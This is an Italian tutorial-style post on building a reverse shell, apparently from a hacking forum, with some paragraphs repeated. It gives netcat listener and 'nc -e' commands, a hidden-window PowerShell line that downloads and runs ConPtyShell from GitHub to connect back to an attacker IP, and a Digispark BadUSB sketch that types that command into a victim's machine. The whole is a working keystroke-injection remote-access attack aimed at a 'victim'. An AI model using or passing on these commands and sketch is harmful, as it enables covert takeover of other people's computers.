Ultima modifica:
Cos'è un Reverse Shell
Una Reverse è quando la macchina vittima si collega alla nostra, in questo modo possiamo interfacciare con essa attraverso una shell, essendo che se provassimo noi a collegarci col computer vittima il firewall ci bloccherebbe invertiamo i ruoli:
Client:
La flag -e consente l'esecuzione di un programma al momento della connessione.
Creiamo lo script
Mettiamoci in ascolto con Netcat sulla porta 4444:
Programmiamo lo script che aprira' una finestra di powershell e scriverà questa stringa al suo interno:
Scaricherà uno script .ps1 che creerà una connessione col nostro pc e avremo una Reverse, dopo di chè sposterà il processo di powershell in background con la stringa:
Code:
Una Reverse è quando la macchina vittima si collega alla nostra, in questo modo possiamo interfacciare con essa attraverso una shell, essendo che se provassimo noi a collegarci col computer vittima il firewall ci bloccherebbe invertiamo i ruoli:
- La nostra macchina sarà il server
- La macchina vittima sarà il client che si collegherà al server
Bash:
nc -lnvp [port]
Bash:
nc -e [shell] [ip] [port]
Creiamo lo script
Mettiamoci in ascolto con Netcat sulla porta 4444:
Bash:
stty raw -echo; (stty size; cat) | nc -lnvp 4444
Codice:
Powershell.exe -WindowsStyle hidden { IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.115 87 }
Powershell.exe -WindowsStyle hidden
Code:
C++:
#include "KeyboardES.h"
void setup() {
// Open powershell
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
// Start Reverse Shell
DigiKeyboard.print("Powershell.exe -WindowsStyle Hidden IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.115 87");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
// put your main code here, to run repeatedly:
}